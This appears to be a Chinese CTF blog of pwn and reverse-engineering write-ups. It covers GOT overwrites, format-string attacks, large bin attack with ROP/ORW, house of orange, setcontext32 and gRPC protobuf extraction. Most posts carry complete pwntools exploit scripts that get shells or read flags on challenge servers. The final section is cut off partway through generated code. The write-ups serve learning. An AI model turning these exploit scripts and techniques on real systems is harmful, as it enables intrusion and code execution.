但是,细看会发现 fgets的rdi是可控的 因为取栈上的变量这个过程,实际上是通过 rbp - 一个正整数偏移去取的,如果能控制rbp,那 rdi的值就是可控的,如果将fgets的got修改成printfile,然后保证 rbp - 0x8的值是 ./flag字符串的地址,gadget这个问题不就解决了吗。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[8]; // [rsp+8h] [rbp-8h] BYREF

  return (unsigned int)fgets(s, 256, _bss_start);
}

.text:0000000000401142 48 8B 15 E7 2E 00 00          mov     rdx, cs:__bss_start             ; stream
.text:0000000000401149 48 8D 45 F8                   lea     rax, [rbp+s]
.text:000000000040114D BE 00 01 00 00                mov     esi, 100h                       ; n
.text:0000000000401152 48 89 C7                      mov     rdi, rax                        ; s
.text:0000000000401155 E8 E6 FE FF FF                call    _fgets

首先需要栈迁移把栈迁移到已知 的地址上面的条件才能满足,第一次fgets 将rbp覆盖成 fgets_got + 0x8,然后调用 fgets,由于s的计算是通过rbp - 0x8,所以能直接将fgets_got覆盖,覆盖成printfile,然后再控制rbp,保证rbp - 0x8的值是flag最后调用fgets就好了

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "47.100.139.115"
PORT = 30708

elf = context.binary = ELF('./vuln')
libc = elf.libc
# libc = ELF('./libc.so.6')

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

print_file_func = 0x00000000040115D
fgets_func = 0x000000000401142
fgets_got = 0x404018

payload = b'a' * 0x8
payload += p64(fgets_got + 0x8) # rbp
payload += p64(fgets_func) # rbp - 0x8
sl(payload)


# int __cdecl main(int argc, const char **argv, const char **envp)
# {
#   char s[8]; // [rsp+8h] [rbp-8h] BYREF

#   return (unsigned int)fgets(s, 256, _bss_start);
# }

payload = p64(print_file_func) # 修改fgets的got为printf_file_func 来控制 rdi
payload += p64(0x404038) # rbp
payload += p64(fgets_func) # 0x404028
payload += b"./flag\x00"
# g(p)
sl(payload)

p.interactive()

onewrite

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *s; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v6; // [rsp+8h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  printf("%p\n> ", &printf);
  __isoc99_scanf("%p%*c", &s);
  fgets(s, 768, stdin);
  puts("bye");
  return v6 - __readfsqword(0x28u);
}

有一次任意地址写大量数据的原语,还有libc的地址,看官方wp发现有个叫setcontent32的项目,只需要一次任意地址写的原语和知道libc的基地址,就可以通过这个项目生成payload去getshell https://hackmd.io/@pepsipu/SyqPbk94a

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "47.100.139.115"
PORT = 30708

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def create_ucontext(
    src: int,
    rsp=0,
    rbx=0,
    rbp=0,
    r12=0,
    r13=0,
    r14=0,
    r15=0,
    rsi=0,
    rdi=0,
    rcx=0,
    r8=0,
    r9=0,
    rdx=0,
    rip=0xDEADBEEF,
) -> bytearray:
    b = bytearray(0x200)
    b[0xE0:0xE8] = p64(src)  # fldenv ptr
    b[0x1C0:0x1C8] = p64(0x1F80)  # ldmxcsr

    b[0xA0:0xA8] = p64(rsp)
    b[0x80:0x88] = p64(rbx)
    b[0x78:0x80] = p64(rbp)
    b[0x48:0x50] = p64(r12)
    b[0x50:0x58] = p64(r13)
    b[0x58:0x60] = p64(r14)
    b[0x60:0x68] = p64(r15)

    b[0xA8:0xB0] = p64(rip)  # ret ptr
    b[0x70:0x78] = p64(rsi)
    b[0x68:0x70] = p64(rdi)
    b[0x98:0xA0] = p64(rcx)
    b[0x28:0x30] = p64(r8)
    b[0x30:0x38] = p64(r9)
    b[0x88:0x90] = p64(rdx)

    return b


def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
    got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
    plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
    return got, flat(
        p64(0),
        p64(got + 0x218),
        p64(libc.symbols["setcontext"] + 32),
        p64(plt_trampoline) * 0x40,
        create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
    )
# e.g. dest, payload = setcontext32.setcontext32(
#         libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
#     )

p = connect()


libc.address = int(r(14),16) - libc.sym['printf']
dst, payload = setcontext32(libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__())

sl(hex(dst))
sl(payload)


p.interactive()

fermat

Read More
post @ 2024-07-22

题目附件https://github.com/nyyyddddn/ctf/tree/main/dasctf2024_summer_challenge

pwn

spring_board

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+Ch] [rbp-4h]

  myinit(argc, argv, envp);
  puts("Life is not boring, dreams are not out of reach.");
  puts("Sometimes you just need a springboard.");
  puts("Then you can see a wider world.");
  puts("There may be setbacks along the way.");
  puts("But keep your love of life alive.");
  puts("I believe that you will succeed.");
  puts("Good luck.");
  putchar(10);
  puts("Here's a simple pwn question, challenge yourself.");
  for ( i = 0; i <= 4; ++i )
  {
    puts("You have an 5 chances to get a flag");
    printf("This is the %d time\n", (unsigned int)(i + 1));
    puts("Please enter a keyword");
    read(0, bss, 0x40uLL);
    printf(bss);
  }
  return 0;
}

非栈上格式化字符串,需要找一个指向栈的双重指针去写地址,然后调整双重指针实现任意地址写,got表可以写,这个情况有点麻烦,除非一次写四个字节?远程试了几次发现能写成功?? 也可以写main的返回地址为onegadget吧,这样就不用一次写这么多字节了

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "node5.buuoj.cn"
PORT = 28552

elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()
# _libc_stack
payload = "-%9$p-%11$p"

# ru("Please enter a keyword")
s(payload)

ru('-')
libc_base = int(r(14),16) - (0x7ba6ad020840 - 0x7ba6ad000000)
ru('-')
stack = int(r(14),16)

success(hex(libc_base))
success(hex(stack))

target_i = stack - (0x7ffd3b5bd3a8 - 0x7ffd3b5bd2bc)
success(hex(target_i))

one_gadget = libc_base + 0xf1247
system = libc_base + libc.sym['system']
puts_got = 0x601020
printf_got = 0x0000000000601028

success(f"one_gadget ->{hex(one_gadget)}")


# pwndbg> fmtarg 0x7ffec2942308
# The index of format argument : 12 ("\%11$p")
# pwndbg> fmtarg 0x7ffec29423d8
# The index of format argument : 38 ("\%37$p")

payload = b"%" + str(printf_got & 0xffffff).encode() + b"c%11$lln\x00"
# g(p)
s(payload)

# g(p)
payload = b"%" + str(one_gadget & 0xffffffff).encode() + b"c%37$n\x00"
success(hex(system))

s(payload)


# g(p)
s(b'/bin/sh\x00')


p.interactive()

magicbook

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-4h] BYREF

  init(argc, argv, envp);
  sandbox();
  menu1();
  dest = malloc(0x100uLL);
  while ( 1 )
  {
    book = (unsigned __int16)book;
    menu2();
    __isoc99_scanf("%d", &v3);
    if ( v3 == 4 )
      exit(0);
    if ( v3 > 4 )
    {
LABEL_12:
      puts("Invalid choice");
    }
    else
    {
      switch ( v3 )
      {
        case 3:
          edit_the_book();
          break;
        case 1:
          creat_the_book();
          break;
        case 2:
          delete_the_book();
          break;
        default:
          goto LABEL_12;
      }
    }
  }
}

void *edit_the_book()
{
  size_t v0; // rax
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("come on,Write down your story!");
  read(0, buf, book);
  v0 = strlen(buf);
  return memcpy(dest, buf, v0);
}

size_t creat_the_book()
{
  size_t v0; // rbx
  __int64 size[2]; // [rsp+Ch] [rbp-14h] BYREF

  if ( book > 5 )
  {
    puts("full!!");
    exit(0);
  }
  printf("the book index is %d\n", book);
  puts("How many pages does your book need?");
  LODWORD(size[0]) = 0;
  __isoc99_scanf("%u", size);
  if ( LODWORD(size[0]) > 0x500 )
  {
    puts("wrong!!");
    exit(0);
  }
  v0 = book;
  p[v0] = malloc(LODWORD(size[0]));
  return ++book;
}

__int64 delete_the_book()
{
  unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
  int v2; // [rsp+4h] [rbp-Ch] BYREF
  char buf[8]; // [rsp+8h] [rbp-8h] BYREF

  puts("which book would you want to delete?");
  __isoc99_scanf("%d", &v2);
  if ( v2 > 5 || !p[v2] )
  {
    puts("wrong!!");
    exit(0);
  }
  free((void *)p[v2]);
  puts("Do you want to say anything else before being deleted?(y/n)");
  read(0, buf, 4uLL);
  if ( d && (buf[0] == 89 || buf[0] == 121) )
  {
    puts("which page do you want to write?");
    __isoc99_scanf("%u", &v1);
    if ( v1 > 4 || !p[v2] )
    {
      puts("wrong!!");
      exit(0);
    }
    puts("content: ");
    read(0, (void *)(p[v1] + 8LL), 0x18uLL);
    --d;
    return 0LL;
  }
  else
  {
    if ( d )
      puts("ok!");
    else
      puts("no ways!!");
    return 0LL;
  }
}

约束非常多,程序没有canary,给了一个elf的地址,并且把execve给禁用了,通过large bin attack插入时利用构造一个任意地址写,往book那写一个很大的数字,这样edit read的时候就能溢出覆盖返回地址,然后就是正常的rop + orw了

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "48.218.22.35"
PORT = 10000

elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

def create(size):
    sla("Your choice:","1")
    sla("How many pages does your book need?",str(size))

def delete(idx,y = 0,idx1 = 0,content = b''):
    sla("Your choice:","2")
    sla("which book would you want to delete?",str(idx))
    if y:
        sla("Do you want to say anything else before being deleted?(y/n)","y")
        sla("which page do you want to write?",str(idx1))
        sa("content: ",content)
    else:
        sla("Do you want to say anything else before being deleted?(y/n)","n")

def edit(content):
    sla("Your choice:","3")
    sa("come on,Write down your story!",content)


ru("give you a gift: ")
d = int(r(14),16)
elf_base = d - 0x4010
success(hex(d))
success(hex(elf_base))

create(0x4d8)
create(0x38)
create(0x4b8)

delete(0)
create(0x500) # large bin

book = elf_base + 0x000000000004050
delete(2,1,0,p64(0) * 2 + p64(book - 0x20))
create(0x500) # large bin attack

rdi = elf_base + 0x0000000000001863
rsi = elf_base + 0x0000000000001861 # pop rsi r15 ret
bss = elf_base + 0x4110
edit_func = elf_base + 0x0000000000015E1

puts_got = elf_base + elf.got['puts']
puts_plt = elf_base + elf.plt['puts']

payload = b'a' * 0x28 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(edit_func)
edit(payload)
rl()
libc_base = u64(r(6).ljust(8,b'\x00')) - libc.sym['puts']
success(hex(libc_base))


rdx = libc_base + 0x000000000011f2e7 # pop rdx r12 ret
open = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']


payload = b'a' * 0x28 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(edit_func)
time.sleep(0.3)
sl(payload)

payload = flat([
    b'a' * 0x28,
    rdi,0,rsi,bss,0,rdx,0x8,0,read,
    rdi,bss,rsi,0,0,open,
    rdi,3,rsi,bss,0,rdx,0x40,0,read,
    rdi,1,rsi,bss,0,rdx,0x40,0,write
])

time.sleep(1)
sl(payload)

success(hex(bss))
# g(p)
time.sleep(1)
s(b'./flag\x00\x00')


# g(p)

p.interactive()

re

DosSnake

16位的程序,发现有一个dasctf的字段,查找dasctf字段的引用发现这样一段逻辑,可以发现就是一个简单的异或加密,置反一下得到flag

encrypted_data = [
    0x3F, 0x09, 0x63, 0x34, 0x32, 0x13, 0x2A, 0x2F, 0x2A, 0x37,
    0x3C, 0x23, 0x00, 0x2E, 0x20, 0x10, 0x3A, 0x27, 0x2F, 0x24,
    0x3A, 0x30, 0x75, 0x67, 0x65, 0x3C, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00
]

key = [0x44, 0x41, 0x53, 0x43, 0x54, 0x46]
key_length = len(key)

decrypted_data = []

for i in range(len(encrypted_data)):
    decrypted_byte = encrypted_data[i] ^ key[i % key_length]
    decrypted_data.append(decrypted_byte)

for i in decrypted_data:
    print(chr(i),end="")
# {H0wfUnnytheDosSnakeis!!!}
Read More
post @ 2024-07-15

题目附件https://github.com/nyyyddddn/ctf/tree/main/wkctf_pwn

pwn

baby_stack

在guess number逻辑这里用格式化字符串泄露 libc地址后

__int64 wait()
{
  unsigned int v0; // eax
  char s[5]; // [rsp+Bh] [rbp-85h] BYREF
  char format[120]; // [rsp+10h] [rbp-80h] BYREF

  puts("Press enter to continue");
  getc(stdin);
  printf("Pick a number: ");
  fgets(s, 5, stdin);
  v0 = strtol(s, 0LL, 10);
  snprintf(format, 0x64uLL, "Your magic number is: %%%d$llx\n", v0);
  printf(format);
  return introduce();
}

echo 这存在一个 off by null的溢出,有大量的leave ret的逻辑,走完这些leave ret 栈就被迁移到了buf上,由于不知道具体位置,找大量的 nop: ret的gadget写满buf,再结尾写一个system binsh的rop就好了,有可能会因为system中 xmm寄存器 rsp对齐的原因失败,多跑几次就好了

__int64 __fastcall echo(unsigned int a1)
{
  char v2[256]; // [rsp+0h] [rbp-100h] BYREF

  return echo_inner(v2, a1);
}


int __fastcall echo_inner(_BYTE *a1, int a2)
{
  a1[(int)fread(a1, 1uLL, a2, stdin)] = 0;
  puts("You said:");
  return printf("%s", a1);
}

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "110.40.35.73"
PORT = 33632

elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

sla("Press enter to continue","")


sla("Pick a number:","6")

ru("Your magic number is: ")
libc_base = int(rl()[:-1],16) - 0x3ec7e3
success(hex(libc_base))

pop_rdi_ret = libc_base + 0x000000000002164f
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
ret = libc_base + 0x000000000003f8e8
nop_ret = libc_base + 0x000000000001b5a8




sla("How many bytes do you want to read (max 256)?","256")


payload = p64(nop_ret) * 0x10 + p64(pop_rdi_ret) + p64(binsh) + p64(system) 
payload = payload.ljust(256,b'\x61')

# g(p)
s(payload)


# g(p)

p.interactive()

easy_heap

glibc 2.23

只有 add edit show三个逻辑,其中show逻辑只能打印八个字节的数据,edit中存在溢出,house of orange,打house of orange的时候,剩余的top chunk大小如果属于fastbin范围,比如说 0x61 就能得到一个fastbin,在sizelist往上部分,有一个位置的值是 0x71,刚刚好满足fastbin的大小,通过fastbin attack可以把堆块申请到那边,然后再配合edit的溢出就能写到chunklist,之后就能实现任意地址读写的原语,通过got泄露libc的基地址,然后将got改成onegadget getshell

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init(argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      v3 = 0;
      __isoc99_scanf("%d", &v3);
      if ( v3 != 3 )
        break;
      show();
    }
    if ( v3 <= 3 )
    {
      if ( v3 == 1 )
      {
        add();
      }
      else if ( v3 == 2 )
      {
        edit();
      }
    }
  }
}

unsigned __int64 show()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  puts("Index :");
  __isoc99_scanf("%d", &v1);
  write(1, *((const void **)&chunk_ptr + v1), 8uLL);
  return __readfsqword(0x28u) ^ v2;
}

unsigned __int64 add()
{
  unsigned int v0; // ebx
  int size[7]; // [rsp+4h] [rbp-1Ch] BYREF

  *(_QWORD *)&size[1] = __readfsqword(0x28u);
  size[0] = 0;
  if ( (unsigned int)chunk_number > 0x20 )
  {
    puts("too much");
    exit(0);
  }
  puts("Size :");
  __isoc99_scanf("%d", size);
  if ( size[0] > 0x1000u )
  {
    puts("too large");
    exit(0);
  }
  chunk_size[chunk_number] = size[0];
  v0 = chunk_number;
  *((_QWORD *)&chunk_ptr + v0) = malloc((unsigned int)size[0]);
  puts("Content :");
  read(0, *((void **)&chunk_ptr + (unsigned int)chunk_number), (unsigned int)size[0]);
  ++chunk_number;
  return __readfsqword(0x28u) ^ *(_QWORD *)&size[1];
}

unsigned __int64 edit()
{
  unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
  _DWORD nbytes[3]; // [rsp+4h] [rbp-Ch] BYREF

  *(_QWORD *)&nbytes[1] = __readfsqword(0x28u);
  v1 = 0;
  nbytes[0] = 0;
  puts("Index :");
  __isoc99_scanf("%d", &v1);
  puts("Size :");
  __isoc99_scanf("%d", nbytes);
  if ( nbytes[0] > 0x1000u )
  {
    puts("too large");
    exit(0);
  }
  puts("Content :");
  read(0, *((void **)&chunk_ptr + v1), nbytes[0]);
  return __readfsqword(0x28u) ^ *(_QWORD *)&nbytes[1];
}

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "110.40.35.73"
PORT = 33755

elf = context.binary = ELF('./pwn')
# libc = elf.libc
libc = ELF('./libc-2.23.so')

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

def add(size,content):
    sla(">\n","1")
    sla("Size",str(size))
    sa("Content",content)

def edit(idx,size,content):
    sla(">\n","2")
    sla("Index :",str(idx))
    sla("Size",str(size))
    sa("Content",content)

def show(idx):
    sla(">\n","3")
    sla("Index :",str(idx))



add(0xf08,"AAAAA")
add(0x58,"AAAAA")

edit(1,0x60,b"A" * 0x58 + p64(0x91))

add(0x100,"AAA")

edit(1,0x68,b"A" * 0x58 + p64(0x71) + p64(0x40408d))

add(0x68,"A")
add(0x68,"A")


edit(4,0x4b,b"A" * 3 + b"A" * 0x40 + p64(elf.got['puts']))
show(0)

rl()
puts_addr = u64(r(6).ljust(8,b'\x00'))
libc_base = puts_addr - libc.sym['puts']
success(hex(libc_base))


# 0x45226 execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   rax == NULL

# 0x4527a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL

# 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL

# 0xf1247 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL

edit(0,8,p64(libc_base + 0x45226))



# g(p)
p.interactive()
Read More
post @ 2024-06-30

pwnshell 复现 (php pwn)

如何调试?

php pwn该如何调试?在docker中装一个gdbserver,用gdbserver起一个程序,在exp中用能触发io中断的php函数打”断点”,之后用gdb连上去后在vuln.so里打个断点就好了

能触发io中断的函数,比如说fgetc

<?php
$char = fgetc(STDIN);
echo "You entered: $char\n";
?>

在pwnshell这个题目中php配置文件里禁用了fgetc这个函数,修改php.ini中的disable_functions,把fgetc删掉就可以使用这个函数了

调试相关的命令

安装gdbserver

只需要在dockerfile里面加上安装的参数,之后构建镜像就好了

FROM php:8.3-apache

RUN DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y vim gdbserver

COPY ./stuff/php.ini /usr/local/etc/php
COPY ./stuff/vuln.so /usr/local/lib/php/extensions/no-debug-non-zts-20230831
COPY ./stuff/readflag /
COPY ./flag.txt /flag.txt
COPY ./stuff/index.php /var/www/html
RUN chmod 400 /flag.txt
RUN chmod u+sx /readflag
RUN chmod -R 777 /var/www/html

构建镜像

docker build -t nyyyddddn/pwnshell .

开启容器

多映射一个 8888端口用来调试

docker run -d -p 9999:80 -p 8888:8888 nyyyddddn/pwnshell

gdbserver的使用

gdbserver开启一个监听

gdbserver :8888 php test.php

然后使用gdb连接上去调试

gdb -q \
-ex "add-symbol-file vuln.so" \
-ex "target remote :8888"
Read More
post @ 2024-06-25

ggbond

可以发现主函数是main_main,同时存在大量grpc字段,可以判断出程序使用了grpc框架。和grpc框架开发的程序进行交互,需要提取protobuf,protobuf谷歌开发的数据序列化格式,它通常用于网络通信和数据存储的应用程序之间的结构化数据交换。这个工具让你能够定义交互时消息的数据结构。

程序套了grpc,与程序的交互不再直接通过标准输入,而需要通过定义的 gRPC 服务接口来进行,然后grpc 使用一个叫protobuf的结构去描述怎么和程序交互的,首先需要提取出程序中的protobuf,然后python中有一个叫grpc_tools的库可以通过 protobuf文件生成和程序交互的代码。

github上有一个叫pbtk的项目可以提取出elf的 protobuf结构

使用 pbtk提取 protobuf文件

./pbtk/extractors/from_binary.py pwn

提取出来的protobuf文件

syntax = "proto3";

package GGBond;

option go_package = "./;ggbond";

service GGBondServer {
    rpc Handler(Request) returns (Response);
}

message Request {
    oneof request {
        WhoamiRequest whoami = 100;
        RoleChangeRequest role_change = 101;
        RepeaterRequest repeater = 102;
    }
}

message Response {
    oneof response {
        WhoamiResponse whoami = 200;
        RoleChangeResponse role_change = 201;
        RepeaterResponse repeater = 202;
        ErrorResponse error = 444;
    }
}

message WhoamiRequest {
    
}

message WhoamiResponse {
    string message = 2000;
}

message RoleChangeRequest {
    uint32 role = 1001;
}

message RoleChangeResponse {
    string message = 2001;
}

message RepeaterRequest {
    string message = 1002;
}

message RepeaterResponse {
    string message = 2002;
}

message ErrorResponse {
    string message = 4444;
}

使用grpc_tools 生成和程序交互的函数库的命令

python -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. ./ggbond.proto

可以发现多出来两个文件 ggbond_pb2_grpc.py ggbond_pb2.py

ggbond_pb2.py

# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler.  DO NOT EDIT!
# source: ggbond.proto
# Protobuf Python Version: 5.26.1
"""Generated protocol buffer code."""
from google.protobuf import descriptor as _descriptor
from google.protobuf import descriptor_pool as _descriptor_pool
from google.protobuf import symbol_database as _symbol_database
from google.protobuf.internal import builder as _builder
# @@protoc_insertion_point(imports)

_sym_db = _symbol_database.Default()


DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\x0cggbond.proto\x12\x06GGBond\"\x9c\x01\n\x07Request\x12\'\n\x06whoami\x18\x64 \x01(\x0b\x32\x15.GGBond.WhoamiRequestH\x00\x12\x30\n\x0brole_change\x18\x65 \x01(\x0b\x32\x19.GGBond.RoleChangeRequestH\x00\x12+\n\x08repeater\x18\x66 \x01(\x0b\x32\x17.GGBond.RepeaterRequestH\x00\x42\t\n\x07request\"\xcd\x01\n\x08Response\x12)\n\x06whoami\x18\xc8\x01 \x01(\x0b\x32\x16.GGBond.WhoamiResponseH\x00\x12\x32\n\x0brole_change\x18\xc9\x01 \x01(\x0b\x32\x1a.GGBond.RoleChangeResponseH\x00\x12-\n\x08repeater\x18\xca\x01 \x01(\x0b\x32\x18.GGBond.RepeaterResponseH\x00\x12\'\n\x05\x65rror\x18\xbc\x03 \x01(\x0b\x32\x15.GGBond.ErrorResponseH\x00\x42\n\n\x08response\"\x0f\n\rWhoamiRequest\"\"\n\x0eWhoamiResponse\x12\x10\n\x07message\x18\xd0\x0f \x01(\t\"\"\n\x11RoleChangeRequest\x12\r\n\x04role\x18\xe9\x07 \x01(\r\"&\n\x12RoleChangeResponse\x12\x10\n\x07message\x18\xd1\x0f \x01(\t\"#\n\x0fRepeaterRequest\x12\x10\n\x07message\x18\xea\x07 \x01(\t\"$\n\x10RepeaterResponse\x12\x10\n\x07message\x18\xd2\x0f \x01(\t\"!\n\rErrorResponse\x12\x10\n\x07message\x18\xdc\" \x01(\t2<\n\x0cGGBondServer\x12,\n\x07Handler\x12\x0f.GGBond.Request\x1a\x10.GGBond.ResponseB\x0bZ\t./;ggbondb\x06proto3')

_globals = globals()
_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, _globals)
_builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'ggbond_pb2', _globals)
if not _descriptor._USE_C_DESCRIPTORS:
  _globals['DESCRIPTOR']._loaded_options = None
  _globals['DESCRIPTOR']._serialized_options = b'Z\t./;ggbond'
  _globals['_REQUEST']._serialized_start=25
  _globals['_REQUEST']._serialized_end=181
  _globals['_RESPONSE']._serialized_start=184
  _globals['_RESPONSE']._serialized_end=389
  _globals['_WHOAMIREQUEST']._serialized_start=391
  _globals['_WHOAMIREQUEST']._serialized_end=406
  _globals['_WHOAMIRESPONSE']._serialized_start=408
  _globals['_WHOAMIRESPONSE']._serialized_end=442
  _globals['_ROLECHANGEREQUEST']._serialized_start=444
  _globals['_ROLECHANGEREQUEST']._serialized_end=478
  _globals['_ROLECHANGERESPONSE']._serialized_start=480
  _globals['_ROLECHANGERESPONSE']._serialized_end=518
  _globals['_REPEATERREQUEST']._serialized_start=520
  _globals['_REPEATERREQUEST']._serialized_end=555
  _globals['_REPEATERRESPONSE']._serialized_start=557
  _globals['_REPEATERRESPONSE']._serialized_end=593
  _globals['_ERRORRESPONSE']._serialized_start=595
  _globals['_ERRORRESPONSE']._serialized_end=628
  _globals['_GGBONDSERVER']._serialized_start=630
  _globals['_GGBONDSERVER']._serialized_end=690
# @@protoc_insertion_point(module_scope)

ggbond_pb2_grpc.py

# Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT!
"""Client and server classes corresponding to protobuf-defined services."""
import grpc
import warnings

import ggbond_pb2 as ggbond__pb2

GRPC_GENERATED_VERSION = '1.64.0'
GRPC_VERSION = grpc.__version__
EXPECTED_ERROR_RELEASE = '1.65.0'
SCHEDULED_RELEASE_DATE = 'June 25, 2024'
_version_not_supported = False

try:
    from grpc._utilities import first_version_is_lower
    _version_not_supported = first_version_is_lower(GRPC_VERSION, GRPC_GENERATED_VERSION)
except ImportError:
    _version_not_supported = True

if _version_not_supported:
    warnings.warn(
        f'The grpc package installed is at version {GRPC_VERSION},'
        + f' but the generated code in ggbond_pb2_grpc.py depends on'
        + f' grpcio>={GRPC_GENERATED_VERSION}.'
        + f' Please upgrade your grpc module to grpcio>={GRPC_GENERATED_VERSION}'
        + f' or downgrade your generated code using grpcio-tools<={GRPC_VERSION}.'
        + f' This warning will become an error in {EXPECTED_ERROR_RELEASE},'
        + f' scheduled for release on {SCHEDULED_RELEASE_DATE}.',
        RuntimeWarning
    )


class GGBondServerStub(object):
    """Missing associated documentation comment in .proto file."""

    def __init__(self, channel):
        """Constructor.

        Args:
            channel: A grpc.Channel.
        """
        self.Handler = channel.unary_unary(
                '/GGBond.GGBondServer/Handler',
                request_serializer=ggbond__pb2.Request.SerializeToString,
                response_deserializer=ggbond__pb2.Response.FromString,
                _registered_method=True)


class GGBondServerServicer(object):
    """Missing associated documentation comment in .proto file."""

    def Handler(self, request, context):
